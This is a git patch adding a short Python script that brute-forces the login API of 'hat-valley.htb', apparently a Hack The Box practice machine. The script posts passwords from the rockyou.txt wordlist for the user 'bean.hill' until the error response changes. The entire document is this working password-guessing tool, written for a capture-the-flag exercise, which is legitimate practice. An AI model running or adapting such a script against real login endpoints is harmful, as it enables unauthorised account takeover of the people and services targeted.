From 51ffcbb359a980298a254831e5270da917b95cd2 Mon Sep 17 00:00:00 2001 From: quoije Date: Tue, 25 Oct 2022 23:35:14 -0400 Subject: [PATCH] quick bruteforce script for htb --- quickBF4HTB.py | 33 +++++++++++++++++++++++++++++++++ 1 file changed, 33 insertions(+) create mode 100644 quickBF4HTB.py diff --git a/quickBF4HTB.py b/quickBF4HTB.py new file mode 100644 index 0000000..7fefa52 --- /dev/null +++ b/quickBF4HTB.py @@ -0,0 +1,33 @@ +from requests import post +import time + +wordlist = "/usr/share/wordlists/rockyou.txt" +found = False +pwn = "nope" +request = "ayy" + +def ayy(username, password): + endpoint = "http://hat-valley.htb/api/login" + headers = "" + payload = { + "username" : username, + "password" : password, + } + r = post(endpoint, json=payload, headers = headers) + print(r.text) + return r.text + +with open(wordlist,'r') as mariob: + while found == False: + for passWL in mariob: + for pasw in passWL.split(): + print("[+] testing " + pasw) + if ayy("bean.hill", pasw) == "Incorrect username or password": + print(str(found)) + time.sleep(.1) + else: + pwn = pasw + found = True + else: + print(pasw) + exit()